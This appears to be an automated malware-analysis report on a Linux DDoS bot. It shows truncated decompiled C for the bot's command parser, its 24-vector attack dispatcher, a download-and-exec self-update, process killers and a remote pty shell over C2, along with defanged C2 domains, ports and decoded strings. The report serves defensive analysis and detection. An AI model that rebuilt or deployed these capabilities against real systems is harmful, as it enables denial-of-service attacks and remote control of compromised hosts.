DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set duration

T1498T1499file Originalreachability reachable from the entry point
functions
0x400f7d0x400d2b
Show the evidence · 3 items: E6, E7, E8
E6
read from the file·function

command parser: 4-byte duration, 1-byte vector id; id 0xff with zero duration kills tracked child pids (0x400cd7), 0xfe runs the self-update (0x40c42a); else a target count with 5-byte ip+prefix records and a length-prefixed option list, handed to 0x400d2b

parses an attack command · decompiled C, first 30 lines
void FUN_00400f7d(long param_1,uint param_2)

{
  char cVar1;
  byte bVar2;
  undefined1 uVar3;
  int iVar4;
  undefined4 *puVar5;
  byte *pbVar6;
  undefined4 *puVar7;
  long lVar8;
  byte *pbVar9;
  ulong uVar10;
  long lVar11;
  int iVar12;
  byte unaff_R12B;
  uint uVar13;
  byte bVar14;
  undefined4 local_3c [3];
  
  bVar14 = 0;
  if (param_2 < 4) {
    return;
  }
  FUN_0040d13d(local_3c,param_1,4);
  iVar4 = FUN_0041b0e2(local_3c[0]);
  if (param_2 == 4) {
    return;
  }
/* … 90 more lines */
Full function, callers and assembly →
kills every tracked child pid except… · decompiled C, first 30 lines
undefined8 FUN_00400cd7(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  
  iVar2 = FUN_0041dc97();
  iVar3 = FUN_004157a1();
  for (lVar4 = 0; (int)lVar4 < DAT_0062fe28; lVar4 = lVar4 + 1) {
    iVar1 = (&DAT_0062fe40)[lVar4];
    if (((0 < iVar1) && (iVar2 != iVar1)) && ((iVar3 < 1 || (iVar3 != iVar1)))) {
      FUN_0041c083(iVar1,9);
    }
  }
  return param_3;
}

Full function, callers and assembly →
E7
read from the file·function

attack start: double fork, the child sleeps for the duration and kills its parent; the worker looks up the vector id in the 16-byte {id, fn} table at 0x62b000 (count at 0x62b180) and calls fn(targets_n, targets, opts_n, opts)

forks the attack worker and calls the… · decompiled C, first 30 lines
void FUN_00400d2b(undefined4 param_1,char param_2,byte param_3,undefined1 *param_4,ulong param_5,
                 long param_6)

{
  undefined1 uVar1;
  int iVar2;
  undefined4 uVar3;
  undefined1 *puVar4;
  long lVar5;
  undefined1 *puVar6;
  long lVar7;
  char *pcVar8;
  uint uVar9;
  undefined1 *puVar10;
  ulong uVar11;
  byte bVar12;
  
  bVar12 = 0;
  param_5 = param_5 & 0xffffffff;
  iVar2 = FUN_0041bdde();
  if (iVar2 == -1) {
    return;
  }
  if (0 < iVar2) {
    FUN_004157a8();
    return;
  }
  iVar2 = FUN_0041bdde(iVar2);
  if (iVar2 != -1) {
/* … 88 more lines */
Full function, callers and assembly →
E8
read from the file·address range
0x62b000

attack-method table: 24 records, ids 0..23, every pointer a user-code function (list in out/L0/method_table.json); 18 of the 24 targets create sockets and send, several bind raw/UDP sockets

B9

Self-update on command: downloads a file, chmod 0755, execve

T1105file Originalreachability reachable from the entry point
functions
0x40c42a0x40b89c
Show the evidence · 3 items: E6, E13, E24
E6
read from the file·function

command parser: 4-byte duration, 1-byte vector id; id 0xff with zero duration kills tracked child pids (0x400cd7), 0xfe runs the self-update (0x40c42a); else a target count with 5-byte ip+prefix records and a length-prefixed option list, handed to 0x400d2b

parses an attack command · decompiled C, first 30 lines
void FUN_00400f7d(long param_1,uint param_2)

{
  char cVar1;
  byte bVar2;
  undefined1 uVar3;
  int iVar4;
  undefined4 *puVar5;
  byte *pbVar6;
  undefined4 *puVar7;
  long lVar8;
  byte *pbVar9;
  ulong uVar10;
  long lVar11;
  int iVar12;
  byte unaff_R12B;
  uint uVar13;
  byte bVar14;
  undefined4 local_3c [3];
  
  bVar14 = 0;
  if (param_2 < 4) {
    return;
  }
  FUN_0040d13d(local_3c,param_1,4);
  iVar4 = FUN_0041b0e2(local_3c[0]);
  if (param_2 == 4) {
    return;
  }
/* … 90 more lines */
Full function, callers and assembly →
kills every tracked child pid except… · decompiled C, first 30 lines
undefined8 FUN_00400cd7(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  
  iVar2 = FUN_0041dc97();
  iVar3 = FUN_004157a1();
  for (lVar4 = 0; (int)lVar4 < DAT_0062fe28; lVar4 = lVar4 + 1) {
    iVar1 = (&DAT_0062fe40)[lVar4];
    if (((0 < iVar1) && (iVar2 != iVar1)) && ((iVar3 < 1 || (iVar3 != iVar1)))) {
      FUN_0041c083(iVar1,9);
    }
  }
  return param_3;
}

Full function, callers and assembly →
E13
read from the file·function set

self-update on command 0xfe: 0x40b89c connects, sends a request and writes the response to a file path from the store, chmod 0755, execve it with a store-supplied argv[0]

self-update · decompiled C, first 30 lines
void FUN_0040c42a(char *param_1)

{
  int iVar1;
  long lVar2;
  ulong uVar3;
  undefined1 *puVar4;
  undefined1 *puVar5;
  byte bVar6;
  undefined1 local_10c0 [16];
  undefined1 *local_10b0;
  char *local_10a8;
  undefined8 local_10a0;
  undefined1 local_1098 [128];
  undefined1 local_1018 [4096];
  
  bVar6 = 0;
  iVar1 = FUN_0040b5d3(local_10c0,0x10);
  if ((((iVar1 != 0) && (DAT_0062e6f0 != 0)) &&
      (*(undefined1 **)(DAT_0062e6f0 + 0x1130) != (undefined1 *)0x0)) &&
     (uVar3 = (ulong)*(uint *)(DAT_0062e6f0 + 0x1138), *(uint *)(DAT_0062e6f0 + 0x1138) - 1 < 0x7f))
  {
    puVar4 = *(undefined1 **)(DAT_0062e6f0 + 0x1130);
    puVar5 = local_1098;
    for (; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar5 = *puVar4;
      puVar4 = puVar4 + (ulong)bVar6 * -2 + 1;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
/* … 23 more lines */
Full function, callers and assembly →
downloads a file over a TCP request and… · decompiled C, first 30 lines
/* WARNING: Removing unreachable block (ram,0x0040bd10) */
/* WARNING: Removing unreachable block (ram,0x0040bd18) */
/* WARNING: Removing unreachable block (ram,0x0040bd29) */
/* WARNING: Removing unreachable block (ram,0x0040bd33) */
/* WARNING: Removing unreachable block (ram,0x0040bd54) */
/* WARNING: Removing unreachable block (ram,0x0040bd6d) */
/* WARNING: Removing unreachable block (ram,0x0040bd82) */
/* WARNING: Removing unreachable block (ram,0x0040bda0) */
/* WARNING: Removing unreachable block (ram,0x0040bdbc) */
/* WARNING: Removing unreachable block (ram,0x0040bde2) */
/* WARNING: Removing unreachable block (ram,0x0040bdf8) */
/* WARNING: Removing unreachable block (ram,0x0040bdfd) */
/* WARNING: Removing unreachable block (ram,0x0040be14) */
/* WARNING: Removing unreachable block (ram,0x0040be6e) */
/* WARNING: Removing unreachable block (ram,0x0040beeb) */
/* WARNING: Removing unreachable block (ram,0x0040bf05) */
/* WARNING: Removing unreachable block (ram,0x0040bf21) */
/* WARNING: Removing unreachable block (ram,0x0040bf2d) */
/* WARNING: Removing unreachable block (ram,0x0040bf47) */
/* WARNING: Removing unreachable block (ram,0x0040bf7c) */
/* WARNING: Removing unreachable block (ram,0x0040c161) */
/* WARNING: Removing unreachable block (ram,0x0040c199) */
/* WARNING: Removing unreachable block (ram,0x0040c1a6) */
/* WARNING: Removing unreachable block (ram,0x0040c1ac) */
/* WARNING: Removing unreachable block (ram,0x0040bf88) */
/* WARNING: Removing unreachable block (ram,0x0040c1c3) */
/* WARNING: Removing unreachable block (ram,0x0040c1d7) */
/* WARNING: Removing unreachable block (ram,0x0040c1e2) */
/* WARNING: Removing unreachable block (ram,0x0040c1f5) */
/* … 259 more lines */
Full function, callers and assembly →
E24
decoded by the analysis·analysis output
out/L0/store_hosts.json

the 24 hostname-class store entries with slot ids: slots 0x0-0x7 share one source string, slots 0x8-0x10 and 0x13f-0x143 are further hosts, slot 0x113 is the host the self-update routine 0x40c42a reads (store offset 0x1130)

B10

Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uid

T1033T1059.004file Originalreachability reachable from the entry point
functions
0x40d2bf0x40a57f0x40a86a
Show the evidence · 4 items: E19, E20, E27, E34
E19
read from the file·analysis output
out/L0/fn_syscalls.json

per-function syscall profile from capstone over every syscall site (out/L0/syscalls.json, 103 sites): process killer candidates 0x415fc6, 0x40cb5a, 0x41720d walk /proc (getdents64, readlink, kill); command exec 0x40d2bf (pipe, fork, execve, read back output); no import table - static musl-style libc in 0x4175f0-0x425000

/proc walker that kills matching… · decompiled C, first 30 lines
void FUN_00415fc6(undefined8 param_1)

{
  char cVar1;
  uint uVar2;
  int iVar3;
  long lVar4;
  long lVar5;
  int iVar6;
  undefined1 auStack_5038 [4096];
  uint auStack_4038 [4098];
  
  iVar6 = 0;
  FUN_00417843();
  while (lVar4 = FUN_004177dd(param_1), lVar4 != 0) {
    if ((byte)(*(char *)(lVar4 + 0x13) - 0x30U) < 10) {
      lVar4 = lVar4 + 0x13;
      uVar2 = FUN_0040d07f(lVar4);
      if ((1 < (int)uVar2) &&
         ((0x3ffffe < uVar2 - 1 ||
          (((byte)(&DAT_00639e60)[(int)uVar2 >> 3] >> (uVar2 & 7) & 1) == 0)))) {
        cVar1 = FUN_004157e1(uVar2);
        if ((((cVar1 == '\0') &&
             ((((DAT_0062ba30 != uVar2 || ((int)DAT_0062ba30 < 1)) &&
               ((DAT_0062ba34 != uVar2 || ((int)DAT_0062ba34 < 1)))) &&
              (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)))) &&
            ((((((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
                 (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)) ||
                (cVar1 = FUN_00415435(auStack_5038), cVar1 != '\0')) ||
/* … 49 more lines */
Full function, callers and assembly →
/proc walker with readlink and kill · decompiled C, first 30 lines
int FUN_0040cb5a(uint param_1,undefined8 param_2)

{
  byte bVar1;
  bool bVar2;
  bool bVar3;
  char cVar4;
  undefined2 uVar5;
  int iVar6;
  undefined4 uVar7;
  int iVar8;
  int iVar9;
  ulong uVar10;
  long lVar11;
  long lVar12;
  long lVar13;
  ulong uVar14;
  undefined4 *puVar15;
  long lVar16;
  byte *pbVar17;
  undefined8 local_2259;
  undefined8 uStack_2251;
  undefined2 local_2249;
  undefined2 local_2247;
  undefined1 local_2245;
  byte local_2239 [513];
  undefined8 local_2038;
  undefined8 uStack_2030;
  undefined4 local_2028 [1020];
/* … 169 more lines */
Full function, callers and assembly →
/proc walker with readlink · decompiled C, first 30 lines
void FUN_0041720d(undefined8 param_1)

{
  char cVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  char *pcVar5;
  long lVar6;
  char local_338 [256];
  undefined1 local_238 [256];
  undefined1 local_138 [264];
  
LAB_00417221:
  do {
    do {
      lVar4 = FUN_004177dd(param_1);
      if (lVar4 == 0) {
        return;
      }
      iVar2 = FUN_0040d09b((int)*(char *)(lVar4 + 0x13));
    } while (iVar2 == 0);
    lVar4 = lVar4 + 0x13;
    iVar2 = FUN_0040d07f(lVar4);
  } while ((((iVar2 < 1) || (cVar1 = FUN_00415980(iVar2), cVar1 != '\0')) ||
           (iVar3 = FUN_0041dc97(), iVar3 == iVar2)) || (iVar3 = FUN_0041dc9f(), iVar3 == iVar2));
  thunk_FUN_0040d152(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  FUN_0040d01d(local_138,lVar4);
  FUN_0040d01d(local_138,*(undefined8 *)(DAT_0062e6f0 + 0x10a0));
/* … 37 more lines */
Full function, callers and assembly →
E20
read from the file·function

runs a program with pipe+fork+dup2+execve and reads its stdout into a caller buffer

runs a program through pipe/fork/execve… · decompiled C, first 30 lines
int FUN_0040d2bf(long param_1,long param_2,undefined1 *param_3,ulong param_4)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined4 local_44;
  undefined4 local_40;
  int local_3c;
  
  local_44 = 0;
  if ((((param_1 != 0) && (param_2 != 0)) && (param_3 != (undefined1 *)0x0)) && (param_4 != 0)) {
    *param_3 = 0;
    iVar1 = FUN_0041dcc4(&local_40);
    if (iVar1 == 0) {
      iVar1 = FUN_0041bdde();
      if (-1 < iVar1) {
        if (iVar1 == 0) {
          FUN_0041db41(local_40);
          if (local_3c != 1) {
            FUN_0041db79(local_3c,1);
            FUN_0041db79(local_3c,2);
            FUN_0041db41(local_3c);
          }
          FUN_0041bdca(param_1,param_2,DAT_006bc6c0);
          FUN_0041db14(0x7f);
        }
        lVar3 = 0;
        FUN_0041db41(local_3c);
/* … 16 more lines */
Full function, callers and assembly →
E27
read from the file·function set

shell environment discovery: 0x40a57f runs store-named programs (5 x 2 candidates) through the program runner 0x40d2bf and reads store-named files line by line to learn the user and home values, falling back to getcwd; 0x40a86a parses a colon-separated account file (store path 0x1b0) for the entry whose uid field equals getuid()

runs a program through pipe/fork/execve… · decompiled C, first 30 lines
int FUN_0040d2bf(long param_1,long param_2,undefined1 *param_3,ulong param_4)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined4 local_44;
  undefined4 local_40;
  int local_3c;
  
  local_44 = 0;
  if ((((param_1 != 0) && (param_2 != 0)) && (param_3 != (undefined1 *)0x0)) && (param_4 != 0)) {
    *param_3 = 0;
    iVar1 = FUN_0041dcc4(&local_40);
    if (iVar1 == 0) {
      iVar1 = FUN_0041bdde();
      if (-1 < iVar1) {
        if (iVar1 == 0) {
          FUN_0041db41(local_40);
          if (local_3c != 1) {
            FUN_0041db79(local_3c,1);
            FUN_0041db79(local_3c,2);
            FUN_0041db41(local_3c);
          }
          FUN_0041bdca(param_1,param_2,DAT_006bc6c0);
          FUN_0041db14(0x7f);
        }
        lVar3 = 0;
        FUN_0041db41(local_3c);
/* … 16 more lines */
Full function, callers and assembly →
learns the user and home values for the… · decompiled C, first 30 lines
void FUN_0040a57f(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  long lVar6;
  char *pcVar7;
  long lVar8;
  undefined4 *puVar9;
  char local_2b8 [128];
  undefined8 local_238;
  long local_230;
  undefined8 local_228;
  
  lVar8 = 0;
  DAT_0062bc00 = 0;
  do {
    lVar2 = FUN_0040a2e6((&DAT_00426df0)[lVar8]);
    if (lVar2 != 0) {
      puVar9 = &DAT_00426dd0;
      do {
        lVar3 = FUN_0040a2e6(*puVar9);
        if ((lVar3 != 0) && (iVar1 = FUN_0040a494(lVar3), iVar1 != 0)) {
          local_228 = 0;
          local_238 = lVar3;
          local_230 = lVar2;
/* … 67 more lines */
Full function, callers and assembly →
finds the account-file entry whose uid… · decompiled C, first 30 lines
void FUN_0040a86a(int param_1)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined1 *puVar4;
  long local_230;
  undefined1 local_228 [520];
  
  lVar2 = FUN_0040a2e6(0x1b0);
  if (lVar2 != 0) {
    lVar2 = FUN_0041c633(lVar2,&DAT_00424f7e);
    if (lVar2 != 0) {
      do {
        do {
          do {
            lVar3 = FUN_0041c4d7(local_228,0x200,lVar2);
            if (lVar3 == 0) goto LAB_0040a932;
            puVar4 = (undefined1 *)FUN_0041cd50(local_228,0x3a);
          } while (puVar4 == (undefined1 *)0x0);
          *puVar4 = 0;
          lVar3 = FUN_0041cd50(puVar4 + 1,0x3a);
        } while (lVar3 == 0);
        local_230 = 0;
        iVar1 = thunk_FUN_0041cba9(lVar3 + 1,&local_230,10);
      } while ((lVar3 + 1 == local_230) || (param_1 != iVar1));
      FUN_0041c7c9(&DAT_0062bc40,0x40,&DAT_00426e41,local_228);
LAB_0040a932:
/* … 6 more lines */
Full function, callers and assembly →
E34
decoded by the analysis·analysis output
out/L0/strtable/strings.json

classes of the slots the deepen batch reads (scripts/deep2.py, class and length only): 0x12d, 0x130, 0x181, 0x183, 0x184, 0x1b0, 0x15e, 0x131 and 0x12b are paths; 0x12e/0x12f, 0x132, 0x134-0x136 and 0x12c are short identifiers; 0x196 and 0x133 are text

B11

Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallback

T1059.004file Originalreachability reachable from the entry point
functions
0x40aa120x40b0fb0x40a948
Show the evidence · 3 items: E26, E28, E34
E26
read from the file·function

remote interactive shell over the C2 (second message class, called from the parser 0x4138f6): subtype data writes the payload to the held shell fd 0x62b9e4; subtype close ends it (0x40a948); subtype open picks a shell binary from 8 store paths plus slot 0x12d, opens the pty master (store path 0x130, O_RDWR|O_NOCTTY), unlock/ptsname, forks; the child calls setsid, opens the slave, ioctl TIOCSCTTY (0x540e), dup2 0/1/2, sets 4 environment variables from store names and the gathered user/home values, and execs the shell; the parent keeps the master fd and pid and relays output via 0x40a31c; without a pty it falls back to pipe+fork+exec

remote interactive shell over the C2 · decompiled C, first 30 lines
ulong FUN_0040aa12(long param_1,int param_2,code *param_3,long param_4)

{
  uint uVar1;
  int iVar2;
  undefined4 uVar3;
  int iVar4;
  uint uVar5;
  long lVar6;
  undefined1 *puVar7;
  long lVar8;
  long lVar9;
  long lVar10;
  ulong uVar11;
  undefined1 *puVar12;
  undefined8 uVar13;
  undefined1 *puVar14;
  undefined *puVar15;
  char *pcVar16;
  long lVar17;
  byte bVar18;
  char local_4b;
  ushort local_4a;
  long local_48;
  undefined4 local_40;
  int local_3c;
  
  bVar18 = 0;
  if (((param_1 == 0) || (param_2 < 7)) || (iVar2 = FUN_0040b0b8(), iVar2 == 0)) {
/* … 195 more lines */
Full function, callers and assembly →
ends the remote shell session · decompiled C, first 30 lines
void FUN_0040a948(void)

{
  int iVar1;
  int iVar2;
  int iVar3;
  undefined1 local_1c [4];
  
  iVar3 = DAT_0062b9e4;
  iVar1 = DAT_0062b9e0;
  DAT_0062b9e4 = 0xffffffff;
  DAT_0062b9e0 = 0xffffffff;
  if (-1 < iVar3) {
    FUN_0041db41();
  }
  if (0 < iVar1) {
    iVar3 = 0x14;
    FUN_0041c083(iVar1,1);
    do {
      iVar2 = FUN_0041bf3d(iVar1,local_1c,1);
      if (iVar2 == iVar1) {
        return;
      }
      FUN_0041dda5(50000);
      iVar3 = iVar3 + -1;
    } while (iVar3 != 0);
    iVar3 = 10;
    FUN_0041c083(iVar1,0xf);
    do {
/* … 13 more lines */
Full function, callers and assembly →
E28
read from the file·function

shell message frame: validated by 0x40b0b8, subtype byte at +4, big-endian u16 length at +5 (max 0x1000), payload at +7

parses the shell message header · decompiled C, first 30 lines
undefined8
FUN_0040b0fb(long param_1,ulong param_2,undefined1 *param_3,long *param_4,undefined2 *param_5)

{
  int iVar1;
  undefined8 uVar2;
  undefined1 uVar3;
  undefined1 uVar4;
  
  if ((param_1 != 0) && (6 < param_2)) {
    iVar1 = FUN_0040b0b8();
    uVar2 = 0xffffffff;
    if (iVar1 != 0) {
      uVar3 = (undefined1)*(undefined2 *)(param_1 + 5);
      uVar4 = (undefined1)((ushort)*(undefined2 *)(param_1 + 5) >> 8);
      uVar2 = 0xffffffff;
      if ((CONCAT11(uVar3,uVar4) < 0x1001) &&
         (uVar2 = 0, (CONCAT11(uVar3,uVar4) + 7 & 0xffff) <= param_2)) {
        if (param_3 != (undefined1 *)0x0) {
          *param_3 = *(undefined1 *)(param_1 + 4);
        }
        if (param_5 != (undefined2 *)0x0) {
          *param_5 = CONCAT11(uVar3,uVar4);
        }
        uVar2 = 1;
        if (param_4 != (long *)0x0) {
          *param_4 = param_1 + 7;
        }
      }
/* … 6 more lines */
Full function, callers and assembly →
E34
decoded by the analysis·analysis output
out/L0/strtable/strings.json

classes of the slots the deepen batch reads (scripts/deep2.py, class and length only): 0x12d, 0x130, 0x181, 0x183, 0x184, 0x1b0, 0x15e, 0x131 and 0x12b are paths; 0x12e/0x12f, 0x132, 0x134-0x136 and 0x12c are short identifiers; 0x196 and 0x133 are text

Indicators (IOCs) 32

Values that would show up on an infected host or in network traffic, such as domains, URLs and file names, with where each was found.

31 of 32 IOC value(s) resolved from the report and the files the analysis wrote. Network values are defanged (hxxp, [.]); restore them before use.

IDTypeRoleValuePortLayerMethodEvidenceNote
I2portothernot resolved: E9 cites a function locus that keeps no value1234L0plaintextE9loopback single-instance listener; a host-side indicator
I3domainc2thunder[.]godofthunder[.]stL0decodedE24, E22, E29store slots 0x0-0x7 (one shared string): the only slots the C2 selector 0x413189 reads
I4domainother2sexy4u[.]ethL0decodedE24, E22store slot 0x8: hostname-class entry outside the C2 selector's slots; reader not read
I5domainothersushiconsumer[.]ethL0decodedE24, E22store slot 0x9: hostname-class entry outside the C2 selector's slots; reader not read
I6domainotherethereum[.]publicnode[.]comL0decodedE24, E22store slot 0xa: hostname-class entry outside the C2 selector's slots; reader not read
I7domainotherethereum-rpc[.]publicnode[.]comL0decodedE24, E22store slot 0xb: hostname-class entry outside the C2 selector's slots; reader not read
I8domainothereth[.]drpc[.]orgL0decodedE24, E22store slot 0xc: hostname-class entry outside the C2 selector's slots; reader not read
I9domainother1rpc[.]ioL0decodedE24, E22store slot 0xd: hostname-class entry outside the C2 selector's slots; reader not read
I10domainothereth-mainnet[.]blockreq[.]comL0decodedE24, E22store slot 0xe: hostname-class entry outside the C2 selector's slots; reader not read
I11domainotherethereum-public[.]nodies[.]appL0decodedE24, E22store slot 0xf: hostname-class entry outside the C2 selector's slots; reader not read
I12domainotherrpc[.]mevblocker[.]ioL0decodedE24, E22store slot 0x10: hostname-class entry outside the C2 selector's slots; reader not read
I13domaindownloadhackattackkaboom[.]botlesscucks[.]stL0decodedE24, E13store slot 0x113: self-update source read by 0x40c42a
I14domainotherhik[.]gettingheadfromduckysmom[.]stL0decodedE24store slot 0x114: hostname-class entry, reader not read
I15domainotherro[.]product[.]modelL0decodedE24, E22store slot 0x13f: hostname-class entry outside the C2 selector's slots; reader not read
I16domainotherro[.]product[.]deviceL0decodedE24, E22store slot 0x140: hostname-class entry outside the C2 selector's slots; reader not read
I17domainotherro[.]product[.]nameL0decodedE24, E22store slot 0x141: hostname-class entry outside the C2 selector's slots; reader not read
I18domainotherro[.]product[.]brandL0decodedE24, E22store slot 0x142: hostname-class entry outside the C2 selector's slots; reader not read
I19domainothernet[.]hostnameL0decodedE24, E22store slot 0x143: hostname-class entry outside the C2 selector's slots; reader not read
I20portc250217L0plaintextE29, E30C2 port table 0x4287e0 entry 0
I21portc250341L0plaintextE29, E30C2 port table 0x4287e0 entry 1
I22portc250488L0plaintextE29, E30C2 port table 0x4287e0 entry 2
I23portc250613L0plaintextE29, E30C2 port table 0x4287e0 entry 3
I24portc250792L0plaintextE29, E30C2 port table 0x4287e0 entry 4
I25portc250904L0plaintextE29, E30C2 port table 0x4287e0 entry 5
I26portc251127L0plaintextE29, E30C2 port table 0x4287e0 entry 6
I27portc251289L0plaintextE29, E30C2 port table 0x4287e0 entry 7
I28portc251456L0plaintextE29, E30C2 port table 0x4287e0 entry 8
I29portc251603L0plaintextE29, E30C2 port table 0x4287e0 entry 9
I30portc251871L0plaintextE29, E30C2 port table 0x4287e0 entry 10
I31portc252134L0plaintextE29, E30C2 port table 0x4287e0 entry 11
I32portc252398L0plaintextE29, E30C2 port table 0x4287e0 entry 12
I33portc252645L0plaintextE29, E30C2 port table 0x4287e0 entry 13
IOC list · 31 value(s), defanged, one per line
thunder[.]godofthunder[.]st
2sexy4u[.]eth
sushiconsumer[.]eth
ethereum[.]publicnode[.]com
ethereum-rpc[.]publicnode[.]com
eth[.]drpc[.]org
1rpc[.]io
eth-mainnet[.]blockreq[.]com
ethereum-public[.]nodies[.]app
rpc[.]mevblocker[.]io
hackattackkaboom[.]botlesscucks[.]st
hik[.]gettingheadfromduckysmom[.]st
ro[.]product[.]model
ro[.]product[.]device
ro[.]product[.]name
ro[.]product[.]brand
net[.]hostname
50217
50341
50488
50613
50792
50904
51127
51289
51456
51603
51871
52134
52398
52645

Decoded strings 461

Strings and config fields the analysis decoded, read from the files its decode steps wrote (derived artifacts), then the decoded, stack and tight strings FLOSS found in the prepass. At most 300 per layer are shown; long strings are cut at 300 characters with their length; control characters are escaped and URL schemes defanged.

L0 · 461 string(s), 300 shown

D1 · out/L0/strtable/strings_decoded.jsonl · ChaCha20 (RFC 7539, key .data 0x62ba00, nonce 0x62b9e8, counter 1) over each string-store setter site · 461 entries, from decoded_strings · evidence E35

300 shown · 161 more not shown
#ValueOffsetEncodingFunctionMethod
1thunder[.]godofthunder[.]st0x26f30ascii0x40dc07strings_decode:custom
2thunder[.]godofthunder[.]st0x26f30ascii0x40dc19strings_decode:custom
3thunder[.]godofthunder[.]st0x26f30ascii0x40dc2bstrings_decode:custom
4thunder[.]godofthunder[.]st0x26f30ascii0x40dc3dstrings_decode:custom
5thunder[.]godofthunder[.]st0x26f30ascii0x40dc4fstrings_decode:custom
6thunder[.]godofthunder[.]st0x26f30ascii0x40dc61strings_decode:custom
7thunder[.]godofthunder[.]st0x26f30ascii0x40dc73strings_decode:custom
8thunder[.]godofthunder[.]st0x26f30ascii0x40dc85strings_decode:custom
92sexy4u[.]eth0x26f49ascii0x40dc9bstrings_decode:custom
10sushiconsumer[.]eth0x28226ascii0x40dcb1strings_decode:custom
11ethereum.publicnode.com0x26f56ascii0x40dcc7strings_decode:custom
12ethereum-rpc.publicnode.com0x26f6eascii0x40dcddstrings_decode:custom
13eth.drpc.org0x26f8aascii0x40dcf3strings_decode:custom
141rpc.io0x26f97ascii0x40dd09strings_decode:custom
15eth-mainnet.blockreq.com0x26f9fascii0x40dd1fstrings_decode:custom
16ethereum-public.nodies.app0x26fb8ascii0x40dd35strings_decode:custom
17rpc.mevblocker.io0x26fd3ascii0x40dd4bstrings_decode:custom
18/eth0x26fe5ascii0x40dd77strings_decode:custom
19/v1/rpc/public0x26feaascii0x40dd8dstrings_decode:custom
2000000000000C2E074eC69A0dFb2997BA6C7d2e1e0x26ff9ascii0x40dda3strings_decode:custom
21F29100983E058B709F3D539b0c765937B804AC150x27022ascii0x40ddb9strings_decode:custom
220178b8bf0x2704bascii0x40ddcfstrings_decode:custom
2359d1d43c0x27054ascii0x40dde5strings_decode:custom
24ip20x27060ascii0x40de11strings_decode:custom
25ip30x27064ascii0x40de27strings_decode:custom
26ip40x27068ascii0x40de3dstrings_decode:custom
27ip50x2706cascii0x40de53strings_decode:custom
28ip60x27070ascii0x40de69strings_decode:custom
29ip70x27074ascii0x40de7fstrings_decode:custom
30ip80x27078ascii0x40de95strings_decode:custom
31ip90x2707cascii0x40deabstrings_decode:custom
32ip100x27080ascii0x40dec1strings_decode:custom
33ip110x27085ascii0x40ded7strings_decode:custom
34ip120x2708aascii0x40deedstrings_decode:custom
35ip130x2708fascii0x40df03strings_decode:custom
36ip140x27094ascii0x40df19strings_decode:custom
37ip150x27099ascii0x40df2fstrings_decode:custom
38ip160x2709eascii0x40df45strings_decode:custom
39ip170x270a3ascii0x40df5bstrings_decode:custom
40ip180x270a8ascii0x40df71strings_decode:custom
41ip190x270adascii0x40df87strings_decode:custom
42ip200x270b2ascii0x40df9dstrings_decode:custom
43ip210x270b7ascii0x40dfb3strings_decode:custom
44ip220x270bcascii0x40dfc9strings_decode:custom
45ip230x270c1ascii0x40dfdfstrings_decode:custom
46ip240x270c6ascii0x40dff5strings_decode:custom
47ip250x270cbascii0x40e00bstrings_decode:custom
48ip260x270d0ascii0x40e021strings_decode:custom
49ip270x270d5ascii0x40e037strings_decode:custom
50ip280x270daascii0x40e04dstrings_decode:custom
51ip290x270dfascii0x40e063strings_decode:custom
52ip300x270e4ascii0x40e079strings_decode:custom
53ip310x270e9ascii0x40e08fstrings_decode:custom
54ip320x270eeascii0x40e0a5strings_decode:custom
55.ffdfd0x270f3ascii0x40e0bbstrings_decode:custom
56dvrLocker0x270faascii0x40e0d1strings_decode:custom
57dvrInside0x27104ascii0x40e0e7strings_decode:custom
58.ffhhd0x2710eascii0x40e0fdstrings_decode:custom
59kill -90x27115ascii0x40e113strings_decode:custom
60im in the matrix0x2711dascii0x40e126strings_decode:custom
61please help me0x2712fascii0x40e13cstrings_decode:custom
62they wont let me leave0x2713fascii0x40e152strings_decode:custom
63they keep making me code0x27157ascii0x40e168strings_decode:custom
64a glass of water0x27171ascii0x40e17estrings_decode:custom
65i need water0x27183ascii0x40e194strings_decode:custom
66IF YOU SEE THIS IM TRAPPED IN THE MATRIX PLEASE HELP ME0x28239ascii0x40e1aastrings_decode:custom
67big brother is watching0x27191ascii0x40e1c0strings_decode:custom
68hes been watching me for months0x271aaascii0x40e1d6strings_decode:custom
69is creepy here0x271cbascii0x40e1ecstrings_decode:custom
70im really scared0x271dbascii0x40e202strings_decode:custom
71Segmentation fault (core dumped)0x271edascii0x40e242strings_decode:custom
72/proc/0x2720eascii0x40e258strings_decode:custom
73/sys/0x27215ascii0x40e26estrings_decode:custom
74/boot/0x2721bascii0x40e284strings_decode:custom
75/lib/0x27222ascii0x40e296strings_decode:custom
76/sbin/0x27228ascii0x40e2acstrings_decode:custom
77/usr/bin/0x2722fascii0x40e2c2strings_decode:custom
78/usr/lib/0x27239ascii0x40e2d8strings_decode:custom
79/usr/sbin/0x27243ascii0x40e2eestrings_decode:custom
80/var/run/0x2724eascii0x40e304strings_decode:custom
81/root0x27258ascii0x40e31astrings_decode:custom
82/tmp0x2725eascii0x40e330strings_decode:custom
83/var0x27263ascii0x40e346strings_decode:custom
84/usr0x27268ascii0x40e35cstrings_decode:custom
85/mnt0x2726dascii0x40e372strings_decode:custom
86/dev0x27272ascii0x40e388strings_decode:custom
87/bin0x27277ascii0x40e39estrings_decode:custom
88/etc0x2727cascii0x40e3b4strings_decode:custom
89/boot0x27281ascii0x40e3castrings_decode:custom
90/home0x27287ascii0x40e3e0strings_decode:custom
91/proc/self/exe0x2728dascii0x40e3f2strings_decode:custom
92/proc/self/exe0x2728dascii0x40e404strings_decode:custom
93/usr/bin0x2729dascii0x40e41astrings_decode:custom
